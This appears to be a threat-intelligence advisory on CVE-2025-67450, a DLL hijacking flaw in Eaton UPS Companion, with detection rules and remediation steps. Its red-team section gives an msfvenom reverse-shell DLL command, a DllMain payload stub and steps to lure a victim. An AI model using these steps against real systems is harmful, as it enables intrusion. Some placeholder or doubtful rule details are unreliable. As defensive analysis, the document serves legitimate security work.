CVE-2025-67450

Executive Summary

CVE-2025-67450 is a high-severity vulnerability in Eaton UPS Companion (EUC) software, caused by insecure library loading (DLL hijacking). An attacker with local access to the software package can achieve arbitrary code execution by placing a malicious DLL in a directory that the application loads before the legitimate library. The CVSS score is 7.8 (High), and while the EPSS score is 0.0%, the vulnerability is unpatched in older versions. The vendor has released a fix in the latest version of EUC available on the Eaton download center. This report provides a comprehensive technical analysis, detection engineering rules, and exploitation guidance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no privileges needed to trigger.
• User Interaction (UI): Required (R) – victim must run the software.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – full data compromise possible.
• Integrity (I): High (H) – full system modification possible.
• Availability (A): High (H) – full denial of service possible.

Threat Level: High. Exploitation requires user interaction but can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic DLL hijacking (CWE-427) in the Eaton UPS Companion software. The application loads a DLL from an insecure search path, such as the current working directory or a user-writable location, before checking the system directory. An attacker who can place a malicious DLL in that path (e.g., via a USB drive, email attachment, or shared folder) can execute arbitrary code with the privileges of the user running the software.

Attack Flow:

1. Attacker identifies a DLL that the EUC executable loads without a full path.
2. Attacker crafts a malicious DLL with the same name and places it in a directory the user will access (e.g., Downloads folder).
3. Victim runs the EUC software from that directory or opens a file that triggers the load.
4. The application loads the attacker's DLL instead of the legitimate one.
5. The malicious code executes, granting the attacker control over the system.

Root Cause: The software does not use safe DLL search order practices (e.g., using absolute paths or calling SetDllDirectory to remove the current directory from the search path).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Insecure: Loads DLL from current directory first
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched Code (Conceptual):

// Secure: Uses absolute path to system directory
HMODULE hMod = LoadLibrary(L"C:\\Windows\\System32\\helper.dll");

The patched version ensures that all DLLs are loaded from a secure, fixed location, preventing hijacking.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows system with Eaton UPS Companion installed.
• Ability to write to a directory the user will access (e.g., Downloads, Desktop).
• User interaction required (victim runs the software).

Steps:

1. Identify a DLL loaded by the EUC executable (e.g., msvcp140.dll or a custom DLL).
2. Create a malicious DLL using msfvenom or a custom payload:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

3. Rename the DLL to match the vulnerable library name (e.g., helper.dll).
4. Place the DLL in a directory the victim will access (e.g., C:\Users\Victim\Downloads\).
5. Convince the victim to run the EUC software from that directory (e.g., by double-clicking a shortcut or opening a file).
6. The DLL loads, and a reverse shell is established.

Example Payload (C++):

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_SHOW); // Replace with actual payload
    }
    return TRUE;
}

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unexpected DLL loads from user-writable directories.
• Use Sysmon Event ID 7 (DLL loaded) to track suspicious loads.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block DLL hijacking.

Mitigation:

• Apply the latest EUC patch from Eaton download center.
• Use application whitelisting (e.g., AppLocker) to allow only signed DLLs.
• Set the CWDIllegalInDllSearch registry key to 1 to disable current directory in DLL search.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_67450_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Eaton UPS Companion"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67450"
    strings:
        $s1 = "EatonUPSCompanion.exe" nocase
        $s2 = "helper.dll" nocase
        $s3 = "msvcp140.dll" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        (any of ($s*))
}

Sigma Rule

title: CVE-2025-67450 - DLL Hijack via Eaton UPS Companion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious DLL loads from user-writable directories by Eaton UPS Companion
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\EatonUPSCompanion.exe'
        ImageLoaded|contains:
            - '\Downloads\'
            - '\Desktop\'
            - '\Temp\'
    condition: selection
falsepositives:
    - Legitimate software updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-67450 - Potential DLL Hijack Payload Download";
    flow:to_server,established;
    content:"|4d 5a|"; offset:0; depth:2;  // MZ header
    content:"helper.dll"; nocase;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Update Eaton UPS Companion to the latest version from the Eaton download center.
2. Workaround: Set the CWDIllegalInDllSearch registry key to 1 to prevent DLL loading from the current directory.
3. Detection: Deploy the YARA, Sigma, and Suricata rules above.
4. Hardening: Use application whitelisting (AppLocker) to allow only signed DLLs.
5. User Training: Educate users not to run software from untrusted directories.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert